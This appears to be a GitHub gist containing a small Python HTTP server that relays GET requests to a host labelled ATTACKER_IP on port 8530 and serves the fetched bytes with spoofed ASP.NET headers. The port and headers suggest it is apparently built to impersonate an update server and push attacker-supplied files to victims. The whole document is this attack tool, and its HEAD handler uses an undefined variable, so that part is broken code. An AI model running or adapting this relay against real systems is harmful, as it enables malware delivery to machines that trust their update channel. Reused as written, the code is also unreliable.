Last active
September 2, 2026 12:37
-
-
Save par-retest/90f64a9cd4377c5915fcc374c6e80c78 to your computer and use it in GitHub Desktop.
Server listening on port 8005, forwarding GET / HEAD requests to a specific IP
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from http import server | |
| import socketserver | |
| import requests | |
| PORT = 8005 | |
| ATTACKER_IP = '192.168.12.1' | |
| class FakeRedirect(server.BaseHTTPRequestHandler): | |
| def do_GET(self): | |
| print(f'GET: {self.path}') | |
| new_path = f'http://{ATTACKER_IP}:8530/{self.path}' | |
| r = requests.get(new_path) | |
| self.protocol_version = 'HTTP/1.1' | |
| self.send_response(200) | |
| self.send_header('Cache-Control', 'private') | |
| self.send_header('Content-Type', 'application/octet-stream') | |
| self.send_header('Content-Length', len(r.content)) | |
| self.send_header('X-AspNet-Version', '4.0.30319') | |
| self.send_header('X-Powered-By', 'ASP.NET') | |
| self.end_headers() | |
| self.wfile.write(r.content) | |
| def do_HEAD(self): | |
| print(f'HEAD: {self.path}') | |
| self.protocol_version = 'HTTP/1.1' | |
| self.send_response(200) | |
| self.send_header('Cache-Control', 'private') | |
| self.send_header('Content-Type', 'application/octet-stream') | |
| self.send_header('Content-Length', len(r.content)) | |
| self.send_header('X-AspNet-Version', '4.0.30319') | |
| self.send_header('X-Powered-By', 'ASP.NET') | |
| self.end_headers() | |
| print('Server started.') | |
| socketserver.TCPServer(('', PORT), FakeRedirect).serve_forever() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment